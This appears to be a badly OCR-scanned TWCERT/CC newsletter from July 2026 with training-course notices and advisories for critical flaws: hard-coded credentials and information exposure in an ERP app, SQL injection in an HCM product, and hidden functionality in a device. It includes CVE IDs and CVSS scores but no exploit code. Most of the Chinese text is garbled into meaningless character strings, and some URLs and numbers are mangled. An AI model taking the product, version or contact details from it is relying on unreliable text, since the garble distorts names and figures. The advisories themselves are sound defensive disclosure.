a9db8c6bh10027ff1621

[ ——
X H AR 2 TR
E%ﬁiﬁ%mﬁ

I Efﬁ

115002#A

115/10/19~10/23

EENEEE
[EH]

REIIREBNERE - BERIMBES
[BaE¥z]
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— R RE/RRNEZ ZREEEREMLZEASE -
Eﬁx)\*?%ﬁiﬁ‘zz IT %10 ~ RFHEENENEEAS -

BHBIRABLZHE Z A -

[ FRfEANGE ]

Rz ilm BERBHEELZE -

[RIEBR]

BREZSHRETBEmBHH 7 ERAE S ER 2R FIREE

[ENEIT 4R ] RS EEEED
[EMEMU] BXREBEBLEMRER - BERZRKERE

,ﬁbﬂjf“i 115/11/7(75)~115/12/5(7%)

EENMES | Bl E AR
yEENARTL

https://www.siileec.com/subject.php?sn=6327

@iciilpm |Q
nchuiii |Q

. nchuiii Q.

EVIR¥A : 115%11 4078 £12 4058, Hi8:59:00-16:00, #30/he¥

REBEMA : HHe%30,0007
AWMEE : AP EAS P EREABERLE)ITHE
(#2435 X 18848802'F) 04-22855506 %/

AR FBELHRMR 02-23800912 7/

EEE (BRI

RBIREBNERE - FERMBES

(FAEHR]

f\%ﬁﬁﬁiﬁﬂﬂzﬂﬂﬁﬁi\éﬁ/\é - ZEEHOIEEEHERASEA
C BRI ARTE S5 RRA S -

Hﬁfﬁﬁﬂﬁﬁﬂ
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EREMRINAETLZE - ERARLZEZE Web « Kt TR #E
i ~ ElRERELARMIBEEE

[REER]

AIREREESREMAAPNSBF AL - NITRES - B R
HER - RHATHAMR @M RCEFNS -

[ENEN AR ] RIRE - FERE - FFRE

[EMEMU] BXREBEBLEWMZRR - BUPEKSE
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It =z NN
£ 4% - TYNTRERAS
—
TWCERT/CC A B3 8% 2ZCVSS 3178 Assl L2 mAENMTE :

H18EMEIERFER | ERP App - Use of Hard-coded Credentials
TVN/CVE ID @ TVN-202607001 / CVE-2026-14807

9.8 (Critical)
CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Eﬁgi}g—guu ERP App

a

BIRENEEREERBF % ZERP AppfF#E Use of Hard-coded

[ B 4 2t Credentials)@)fd - RS DAl 2 B2 EE I RIZIVHE
hEVS E R EMRSE BT -

BEIRTIE MEMEETIER

~FHBH 2026-07-06

THEAELS https://www.twcert.org.tw/tw/cp-132-11023-3abe8-1.html

IS EMEZIRRERT | B8 EIE R4 - Exposure of Sensitive Information

TVN/CVE ID | TVN-202607002 / CVE-2026-14808
9.8 (Critical)

CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SEEm BIEEE AR
[ CVE-2026-14808(Exposure of Sensitive Information) ]

[ B i 2t REB DGR 7 2R NBE O EREERINGERER
SREAEITHS -

BRI A BEMBETER

yN:GISE:! 2026-07-06

THEAELS https://www.twcert.org.tw/tw/cp-132-11025-fald9-1.html
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ZREEII | HCM - SQL Injection

TVN/CVE ID @ TVN-202607005 / CVE-2026-15804

8.8 (High)
CVSS CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

HCM 727.5.3(FR &)

HCM 8%8.1.7.1(R &)k A

& BEBI1F9 8 ZHCMTZ#ESQL Injectioni®id - ©@BEH
S B e 2t Rl 2 RN BE BB ELEIASQLIEES  FEE
REERN 22 - TEE RO -

AAEFHCM 727.5.3(2) A IRAK

B/ 43 =< O
FoE=EEN

BRAE
FAEFHHCM 8E8.1.7.1(2) U R A
yN:CISE:: 2026-07-15
THREAELS https://www.twcert.org.tw/tw/cp-132-11035-5¢640-1.html

EEIRRIE: | IPEEFZH - Hidden Functionality
TVN/CVE ID @ TVN-202607006 / CVE-2026-18191

9.8 (Critical)
CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
SEEm VIN-DS783E-E6

[ CVE-2026-18191(Hidden Functionality) ]

i) BB e e KRG DR 2 BRI EE O A AR ERE ISR A
EIHEIRITEE -

BERFE BEmEETEN

yNEI=E: 2026-07-29

THESE AL https://www.twcert.org.tw/tw/cp-132-11048-c8ce2-1.htmll
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488 - TWCERT/CC B

BITEAN . BEEMaEIE G EEERRE O
(Taiwan Computer Emergency Response Team / Coordination Center)

HFIBHER : 20265E7H31H

&EFEH : CERT_Service@cert.org.tw

B4 : https://twcert.org.tw/

Facebook # 44 &H : https://www.facebook.com/twcertcc/

Instagram : https://www.instagram.com/twcertcc/



http://www.facebook.com/twcertcc/
http://www.instagram.com/twcertcc/

